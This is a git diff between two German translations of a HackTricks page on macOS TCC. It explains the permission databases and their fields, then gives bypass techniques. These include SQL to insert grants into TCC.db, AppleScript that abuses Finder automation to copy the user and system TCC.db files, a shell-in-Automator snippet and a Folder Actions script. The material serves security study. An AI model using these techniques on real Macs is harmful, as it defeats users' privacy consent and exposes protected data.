* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,64 +2,64 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## **Grundlegende Informationen**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** ist ein Sicherheitsprotokoll, das sich auf die Regulierung von Anwendungsberechtigungen konzentriert. Seine Hauptaufgabe besteht darin, sensible Funktionen wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Barrierefreiheit und vollständigen Festplattenzugriff** zu schützen. Indem TCC eine explizite Benutzerzustimmung vor der Gewährung des App-Zugriffs auf diese Elemente vorschreibt, verbessert es die Privatsphäre und die Benutzerkontrolle über ihre Daten.
|
||||
**TCC (Transparenz, Einwilligung und Kontrolle)** ist ein Sicherheitsprotokoll, das sich darauf konzentriert, Anwendungsrechte zu regulieren. Seine Hauptaufgabe besteht darin, sensible Funktionen wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Zugänglichkeit und Vollzugriff auf die Festplatte** zu schützen. Indem es explizite Benutzerzustimmung vor der Gewährung von App-Zugriff auf diese Elemente vorschreibt, verbessert TCC die Privatsphäre und die Benutzerkontrolle über ihre Daten.
|
||||
|
||||
Benutzer stoßen auf TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies wird durch eine Aufforderung sichtbar, die es Benutzern ermöglicht, den Zugriff zu **genehmigen oder abzulehnen**. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen wie das **Ziehen und Ablegen von Dateien in eine Anwendung**, um den Zugriff auf bestimmte Dateien zu gewähren und sicherzustellen, dass Anwendungen nur auf das zugreifen können, was explizit erlaubt ist.
|
||||
Benutzer stoßen auf TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies ist sichtbar durch eine Aufforderung, die es Benutzern ermöglicht, den Zugriff zu **genehmigen oder abzulehnen**. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen, wie das **Ziehen und Ablegen von Dateien in eine Anwendung**, um den Zugriff auf bestimmte Dateien zu gewähren, und stellt sicher, dass Anwendungen nur auf das zugreifen können, was ausdrücklich erlaubt ist.
|
||||
|
||||
![Ein Beispiel für eine TCC-Aufforderung](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC** wird vom **Daemon** in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` verwaltet und in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` konfiguriert (Registrierung des Mach-Dienstes `com.apple.tccd.system`).
|
||||
**TCC** wird vom **Daemon** im Verzeichnis `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` verwaltet und in der Datei `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` konfiguriert (Registrierung des Mach-Dienstes `com.apple.tccd.system`).
|
||||
|
||||
Es läuft ein **Benutzermodus-TCCD** pro angemeldetem Benutzer, der in `/System/Library/LaunchAgents/com.apple.tccd.plist` definiert ist und die Mach-Dienste `com.apple.tccd` und `com.apple.usernotifications.delegate.com.apple.tccd` registriert.
|
||||
Es gibt einen **Benutzermodus tccd**, der pro angemeldetem Benutzer in der Datei `/System/Library/LaunchAgents/com.apple.tccd.plist` definiert ist und die Mach-Dienste `com.apple.tccd` und `com.apple.usernotifications.delegate.com.apple.tccd` registriert.
|
||||
|
||||
Hier sehen Sie den als System und als Benutzer ausgeführten TCCD:
|
||||
Hier sehen Sie den als System und als Benutzer ausgeführten tccd:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
Berechtigungen werden vom übergeordneten Anwendungsprogramm geerbt und die Berechtigungen werden anhand der Bundle-ID und der Entwickler-ID verfolgt.
|
||||
Berechtigungen werden vom übergeordneten Anwendungsprozess vererbt und die Berechtigungen werden anhand der Bundle-ID und der Entwickler-ID verfolgt.
|
||||
|
||||
### TCC-Datenbanken
|
||||
|
||||
Die Erlaubnisse/Verweigerungen werden dann in einigen TCC-Datenbanken gespeichert:
|
||||
|
||||
* Die systemweite Datenbank in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Diese Datenbank ist durch SIP geschützt, daher kann nur ein SIP-Bypass in sie schreiben.
|
||||
* Die Benutzer-TCC-Datenbank **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** für benutzerspezifische Einstellungen.
|
||||
* Diese Datenbank ist geschützt, sodass nur Prozesse mit hohen TCC-Berechtigungen wie Vollzugriff auf die Festplatte darauf schreiben können (sie ist jedoch nicht durch SIP geschützt).
|
||||
- Die systemweite Datenbank in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Diese Datenbank ist durch SIP geschützt, daher kann nur ein SIP-Bypass in sie schreiben.
|
||||
- Die Benutzer-TCC-Datenbank **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** für benutzerspezifische Einstellungen.
|
||||
- Diese Datenbank ist geschützt, sodass nur Prozesse mit hohen TCC-Berechtigungen wie Vollzugriff auf das Laufwerk in sie schreiben können (aber sie ist nicht durch SIP geschützt).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Die vorherigen Datenbanken sind auch für den Lesezugriff durch TCC geschützt. Sie können also Ihre reguläre Benutzer-TCC-Datenbank nicht lesen, es sei denn, es handelt sich um einen TCC-privilegierten Prozess.
|
||||
Die vorherigen Datenbanken sind auch **TCC-geschützt für Lesezugriff**. Sie werden also nicht in der Lage sein, Ihre reguläre Benutzer-TCC-Datenbank zu lesen, es sei denn, es handelt sich um einen Prozess mit hohen Berechtigungen (wie **FDA** oder **`kTCCServiceEndpointSecurityClient`**).
|
||||
|
||||
Beachten Sie jedoch, dass ein Prozess mit diesen hohen Berechtigungen (wie FDA oder `kTCCServiceEndpointSecurityClient`) in der Lage sein wird, auf die Benutzer-TCC-Datenbank zu schreiben.
|
||||
Dennoch ist zu beachten, dass ein Prozess mit diesen hohen Berechtigungen (wie **FDA** oder **`kTCCServiceEndpointSecurityClient`**) in der Lage sein wird, in die Benutzer-TCC-Datenbank zu schreiben.
|
||||
{% endhint %}
|
||||
|
||||
* Es gibt eine dritte TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um Clients anzugeben, die auf Standortdienste zugreifen dürfen.
|
||||
* Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/REG.db`** (auch durch TCC vor Lesezugriff geschützt) enthält den Speicherort aller gültigen TCC-Datenbanken.
|
||||
* Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (auch durch TCC vor Lesezugriff geschützt) enthält weitere gewährte TCC-Berechtigungen.
|
||||
* Die durch SIP geschützte Datei **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (aber von jedem lesbar) ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern.
|
||||
- Es gibt eine **dritte** TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um Clients anzuzeigen, die auf **Ortungsdienste zugreifen** dürfen.
|
||||
- Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/REG.db`** (auch vor Lesezugriff mit TCC geschützt) enthält die **Standorte** aller **gültigen TCC-Datenbanken**.
|
||||
- Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (auch vor Lesezugriff mit TCC geschützt) enthält weitere gewährte TCC-Berechtigungen.
|
||||
- Die durch SIP geschützte Datei **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (aber von jedem lesbar) ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern.
|
||||
|
||||
{% hint style="success" %}
|
||||
Die TCC-Datenbank in **iOS** befindet sich in **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Die **Benachrichtigungszentrum-Benutzeroberfläche** kann **Änderungen in der System-TCC-Datenbank** vornehmen:
|
||||
Das **Benachrichtigungscenter UI** kann **Änderungen in der System-TCC-Datenbank** vornehmen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -70,7 +70,7 @@ com.apple.rootless.storage.TCC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Benutzer können jedoch Regeln mit dem Befehlszeilenprogramm **`tccutil`** löschen oder abfragen.
|
||||
Benutzer können jedoch **Regeln löschen oder abfragen** mit dem Befehlszeilen-Dienstprogramm **`tccutil`**.
|
||||
{% endhint %}
|
||||
|
||||
#### Datenbanken abfragen
|
||||
|
@ -97,7 +97,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Systemdatenbank" %}
|
||||
{% tab title="System-DB" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
|
@ -123,12 +123,12 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Überprüfen Sie beide Datenbanken, um die Berechtigungen einer App zu überprüfen, die erlaubt, verboten oder nicht vorhanden sind (es wird danach gefragt).
|
||||
Durch Überprüfen beider Datenbanken können Sie die Berechtigungen überprüfen, die einer App erlaubt wurden, die verboten wurden oder die sie nicht hat (sie wird danach fragen).
|
||||
{% endhint %}
|
||||
|
||||
* Der **`Service`** ist die TCC-Berechtigungszeichenfolge
|
||||
* Der **`Client`** ist die **Bundle-ID** oder der **Pfad zur ausführbaren Datei** mit den Berechtigungen
|
||||
* Der **`Client-Typ`** gibt an, ob es sich um eine Bundle-ID(0) oder einen absoluten Pfad(1) handelt
|
||||
* Der **`service`** ist die TCC **Berechtigungs**-Zeichenfolgenrepräsentation
|
||||
* Der **`client`** ist die **Bundle-ID** oder der **Pfad zur ausführbaren Datei** mit den Berechtigungen
|
||||
* Der **`client_type`** gibt an, ob es sich um eine Bundle-Kennung(0) oder einen absoluten Pfad(1) handelt
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -174,7 +174,7 @@ Führen Sie einfach **`launctl load your_bin.plist`** aus, mit einer Plist wie:
|
|||
</details>
|
||||
|
||||
* Der **`auth_value`** kann verschiedene Werte haben: denied(0), unknown(1), allowed(2) oder limited(3).
|
||||
* Der **`auth_reason`** kann die folgenden Werte annehmen: Error(1), Benutzerzustimmung(2), Benutzereinstellung(3), Systemeinstellung(4), Service-Richtlinie(5), MDM-Richtlinie(6), Überschreibungsrichtlinie(7), Fehlende Verwendungszeichenkette(8), Aufforderungszeitüberschreitung(9), Preflight Unbekannt(10), Berechtigt(11), App-Typ-Richtlinie(12)
|
||||
* Der **`auth_reason`** kann die folgenden Werte annehmen: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* Das Feld **csreq** dient dazu, anzuzeigen, wie die auszuführende Binärdatei überprüft und die TCC-Berechtigungen erteilt werden sollen:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
|
@ -191,12 +191,12 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* Für weitere Informationen über die **anderen Felder** der Tabelle [**überprüfen Sie diesen Blog-Beitrag**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
* Für weitere Informationen zu den **anderen Feldern** der Tabelle [**überprüfen Sie diesen Blog-Beitrag**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
Sie können auch **bereits erteilte Berechtigungen** für Apps in `Systemeinstellungen --> Sicherheit & Datenschutz --> Datenschutz --> Dateien und Ordner` überprüfen.
|
||||
Sie können auch die **bereits erteilten Berechtigungen** für Apps in `Systemeinstellungen --> Sicherheit & Datenschutz --> Datenschutz --> Dateien und Ordner` überprüfen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Benutzer können Regeln **mit `tccutil`** **löschen oder abfragen**.
|
||||
Benutzer können Regeln mit **`tccutil`** **löschen oder abfragen**.
|
||||
{% endhint %}
|
||||
|
||||
#### TCC-Berechtigungen zurücksetzen
|
||||
|
@ -207,9 +207,9 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
### TCC-Signaturüberprüfungen
|
||||
### TCC Signaturüberprüfungen
|
||||
|
||||
Die TCC-Datenbank speichert die Bundle-ID der Anwendung, enthält jedoch auch Informationen über die Signatur, um sicherzustellen, dass die App, die um eine Berechtigung bittet, die richtige ist.
|
||||
Die TCC-Datenbank speichert die Bundle-ID der Anwendung, aber sie speichert auch Informationen über die Signatur, um sicherzustellen, dass die App, die um die Erlaubnis bittet, die richtige ist.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -229,14 +229,13 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
Daher können andere Anwendungen mit demselben Namen und derselben Bundle-ID nicht auf die gewährten Berechtigungen anderer Apps zugreifen.
|
||||
{% endhint %}
|
||||
|
||||
### Berechtigungen und TCC-Berechtigungen
|
||||
### Berechtigungen & TCC-Berechtigungen
|
||||
|
||||
Apps müssen nicht nur Zugriff auf Ressourcen anfordern und erhalten, sondern sie müssen auch über die entsprechenden Berechtigungen verfügen.\
|
||||
Zum Beispiel hat **Telegram** die Berechtigung `com.apple.security.device.camera`, um Zugriff auf die Kamera anzufordern. Eine App, die diese Berechtigung nicht hat, kann nicht auf die Kamera zugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
|
||||
Apps müssen nicht nur um Ressourcen bitten und Zugriff erhalten, sie müssen auch über die entsprechenden Berechtigungen verfügen. Zum Beispiel hat Telegram die Berechtigung `com.apple.security.device.camera`, um Zugriff auf die Kamera anzufordern. Eine App, die diese Berechtigung nicht hat, kann nicht auf die Kamera zugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
|
||||
|
||||
Apps benötigen jedoch keine spezifischen Berechtigungen, um auf bestimmte Benutzerordner wie `~/Desktop`, `~/Downloads` und `~/Documents` zuzugreifen. Das System behandelt den Zugriff transparent und fordert den Benutzer bei Bedarf auf.
|
||||
Apps benötigen jedoch keine spezifischen Berechtigungen, um auf bestimmte Benutzerordner wie `~/Desktop`, `~/Downloads` und `~/Documents` zuzugreifen. Das System wird den Zugriff transparent handhaben und den Benutzer bei Bedarf auffordern.
|
||||
|
||||
Die Apps von Apple generieren keine Benachrichtigungen. Sie enthalten vorab gewährte Rechte in ihrer Berechtigungsliste, was bedeutet, dass sie niemals ein Popup generieren und auch nicht in einer der TCC-Datenbanken angezeigt werden. Zum Beispiel:
|
||||
Die Apps von Apple generieren keine Aufforderungen. Sie enthalten vorab gewährte Rechte in ihrer Berechtigungsliste, was bedeutet, dass sie niemals ein Popup generieren werden und auch nicht in einer der TCC-Datenbanken auftauchen werden. Zum Beispiel:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -247,13 +246,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
Dies verhindert, dass der Kalender den Benutzer auffordert, auf Erinnerungen, den Kalender und das Adressbuch zuzugreifen.
|
||||
Dies wird verhindern, dass der Kalender den Benutzer auffordert, auf Erinnerungen, den Kalender und das Adressbuch zuzugreifen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Neben einigen offiziellen Dokumentationen zu Berechtigungen ist es auch möglich, inoffizielle **interessante Informationen zu Berechtigungen** unter [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) zu finden.
|
||||
Neben einigen offiziellen Dokumentationen zu Berechtigungen ist es auch möglich, inoffizielle **interessante Informationen zu Berechtigungen unter** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) zu finden.
|
||||
{% endhint %}
|
||||
|
||||
Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Es gibt keine öffentliche Liste, die alle definiert, aber Sie können diese [**Liste der bekannten Berechtigungen**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) überprüfen.
|
||||
Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Es gibt keine öffentliche Liste, die alle definiert, aber Sie können diese [**Liste der bekannten**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) überprüfen.
|
||||
|
||||
### Sensible ungeschützte Orte
|
||||
|
||||
|
@ -263,7 +262,7 @@ Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
|
|||
|
||||
### Benutzerabsicht / com.apple.macl
|
||||
|
||||
Wie bereits erwähnt, ist es möglich, **einem App den Zugriff auf eine Datei zu gewähren, indem man sie darauf zieht und ablegt**. Dieser Zugriff wird in keiner TCC-Datenbank angegeben, sondern als **erweitertes Attribut der Datei** gespeichert. Dieses Attribut speichert die UUID der zugelassenen App:
|
||||
Wie bereits erwähnt, ist es möglich, **einer App Zugriff auf eine Datei zu gewähren, indem man sie per Drag & Drop darauf zieht**. Dieser Zugriff wird in keiner TCC-Datenbank angegeben, sondern als **erweitertes** **Attribut der Datei** gespeichert. Dieses Attribut wird die **UUID** der zugelassenen App speichern:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -279,16 +278,16 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
|||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Es ist interessant, dass das Attribut **`com.apple.macl`** von der **Sandbox** und nicht von tccd verwaltet wird.
|
||||
Es ist interessant, dass das **`com.apple.macl`** Attribut vom **Sandbox** verwaltet wird, nicht von tccd.
|
||||
|
||||
Beachten Sie auch, dass wenn Sie eine Datei, die die UUID einer App auf Ihrem Computer enthält, auf einen anderen Computer verschieben, da die gleiche App unterschiedliche UIDs haben wird, keinen Zugriff auf diese App gewährt.
|
||||
Beachten Sie auch, dass wenn Sie eine Datei verschieben, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer, weil die gleiche App unterschiedliche UIDs haben wird, wird sie keinen Zugriff auf diese App gewähren.
|
||||
{% endhint %}
|
||||
|
||||
Das erweiterte Attribut `com.apple.macl` **kann nicht** wie andere erweiterte Attribute gelöscht werden, da es **durch SIP geschützt** ist. Wie jedoch in [**diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/) ist es möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und dann wieder **entzippt**.
|
||||
Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht** werden wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Wie jedoch [**in diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), ist es möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**.
|
||||
|
||||
## TCC Privilegierungs-Eskalation & Umgehungen
|
||||
## TCC Privilegierung & Umgehungen
|
||||
|
||||
### In TCC einfügen
|
||||
### Einfügen in TCC
|
||||
|
||||
Wenn Sie zu einem bestimmten Zeitpunkt Schreibzugriff auf eine TCC-Datenbank erhalten, können Sie etwas Ähnliches wie das Folgende verwenden, um einen Eintrag hinzuzufügen (entfernen Sie die Kommentare):
|
||||
|
||||
|
@ -336,9 +335,9 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
```
|
||||
</details>
|
||||
|
||||
### TCC-Payloads
|
||||
### TCC Nutzlasten
|
||||
|
||||
Wenn es Ihnen gelungen ist, Zugriff auf eine App mit bestimmten TCC-Berechtigungen zu erhalten, überprüfen Sie die folgende Seite mit TCC-Payloads, um sie zu missbrauchen:
|
||||
Wenn es Ihnen gelungen ist, Zugriff auf eine App mit bestimmten TCC-Berechtigungen zu erhalten, überprüfen Sie die folgende Seite mit TCC-Nutzlasten, um sie zu missbrauchen:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
|
@ -347,10 +346,10 @@ Wenn es Ihnen gelungen ist, Zugriff auf eine App mit bestimmten TCC-Berechtigung
|
|||
### Automatisierung (Finder) zu FDA\*
|
||||
|
||||
Der TCC-Name der Automatisierungsberechtigung lautet: **`kTCCServiceAppleEvents`**\
|
||||
Diese spezifische TCC-Berechtigung gibt auch die **Anwendung an, die im TCC-Datenbank verwaltet werden kann** (daher erlauben die Berechtigungen nicht, einfach alles zu verwalten).
|
||||
Diese spezifische TCC-Berechtigung gibt auch die **Anwendung an, die im TCC-Datenbank verwaltet werden kann** (so dass die Berechtigungen nicht einfach alles verwalten können).
|
||||
|
||||
**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht in der Benutzeroberfläche angezeigt wird), daher können Sie, wenn Sie **Automatisierungsrechte** darüber haben, seine Berechtigungen missbrauchen, um **bestimmte Aktionen auszuführen**.\
|
||||
In diesem Fall benötigt Ihre App die Berechtigung **`kTCCServiceAppleEvents`** über **`com.apple.Finder`**.
|
||||
**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht im UI erscheint), daher können Sie, wenn Sie **Automatisierungsrechte** darüber haben, diese Rechte missbrauchen, um **bestimmte Aktionen auszuführen**.\
|
||||
In diesem Fall würde Ihre App die Berechtigung **`kTCCServiceAppleEvents`** über **`com.apple.Finder`** benötigen.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Benutzer TCC.db stehlen" %}
|
||||
|
@ -365,7 +364,9 @@ duplicate file sourceFile to targetFolder with replacing
|
|||
end tell
|
||||
EOD
|
||||
```
|
||||
{% tab title="System TCC.db stehlen" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Systeme TCC.db stehlen" %}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
|
@ -378,25 +379,25 @@ EOD
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Sie könnten dies missbrauchen, um Ihre eigene Benutzer-TCC-Datenbank zu erstellen.
|
||||
Sie könnten dies missbrauchen, um **Ihre eigene Benutzer-TCC-Datenbank zu erstellen**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Mit dieser Berechtigung können Sie den Finder auffordern, auf TCC-eingeschränkte Ordner zuzugreifen und Ihnen die Dateien zu geben, aber soweit ich weiß, können Sie den Finder nicht dazu bringen, beliebigen Code auszuführen, um seinen FDA-Zugriff vollständig zu missbrauchen.
|
||||
Mit dieser Berechtigung können Sie **Finder auffordern, auf TCC-gesperrte Ordner zuzugreifen** und Ihnen die Dateien zu geben, aber soweit ich weiß, werden Sie **Finder nicht dazu bringen können, beliebigen Code auszuführen**, um seinen FDA-Zugriff vollständig auszunutzen.
|
||||
|
||||
Daher können Sie die vollen FDA-Fähigkeiten nicht missbrauchen.
|
||||
{% endhint %}
|
||||
|
||||
Dies ist die TCC-Aufforderung, um Automatisierungsrechte über den Finder zu erhalten:
|
||||
Dies ist die TCC-Aufforderung, um Automatisierungsrechte über Finder zu erhalten:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachten Sie, dass die App **Automator** die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat und daher jede App wie den Finder steuern kann. Wenn Sie also die Berechtigung haben, Automator zu steuern, könnten Sie auch den Finder mit einem Code wie dem untenstehenden steuern:
|
||||
Beachten Sie, dass die App **Automator** die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat und **jede App** steuern kann, wie z. B. Finder. Daher könnten Sie, wenn Sie die Berechtigung haben, Automator zu steuern, auch den **Finder** mit einem Code wie dem unten stehenden steuern:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Holen Sie sich eine Shell in Automator</summary>
|
||||
<summary>Erhalten Sie eine Shell innerhalb von Automator</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
@ -418,11 +419,11 @@ EOD
|
|||
```
|
||||
</details>
|
||||
|
||||
Das Gleiche gilt für die **Script Editor-App**, sie kann den Finder steuern, aber mit einem AppleScript können Sie ihn nicht zwingen, ein Skript auszuführen.
|
||||
Gleiches gilt für die **Script Editor-App,** sie kann den Finder steuern, aber mit einem AppleScript können Sie es nicht zwingen, ein Skript auszuführen.
|
||||
|
||||
### Automatisierung (SE) für einige TCC
|
||||
|
||||
**System Events kann Ordneraktionen erstellen, und Ordneraktionen können auf einige TCC-Ordner zugreifen** (Desktop, Dokumente & Downloads), daher kann ein Skript wie das folgende verwendet werden, um dieses Verhalten auszunutzen:
|
||||
**System Events können Ordneraktionen erstellen, und Ordneraktionen können auf einige TCC-Ordner zugreifen** (Desktop, Dokumente & Downloads), daher kann ein Skript wie das folgende verwendet werden, um dieses Verhalten auszunutzen:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -466,9 +467,9 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
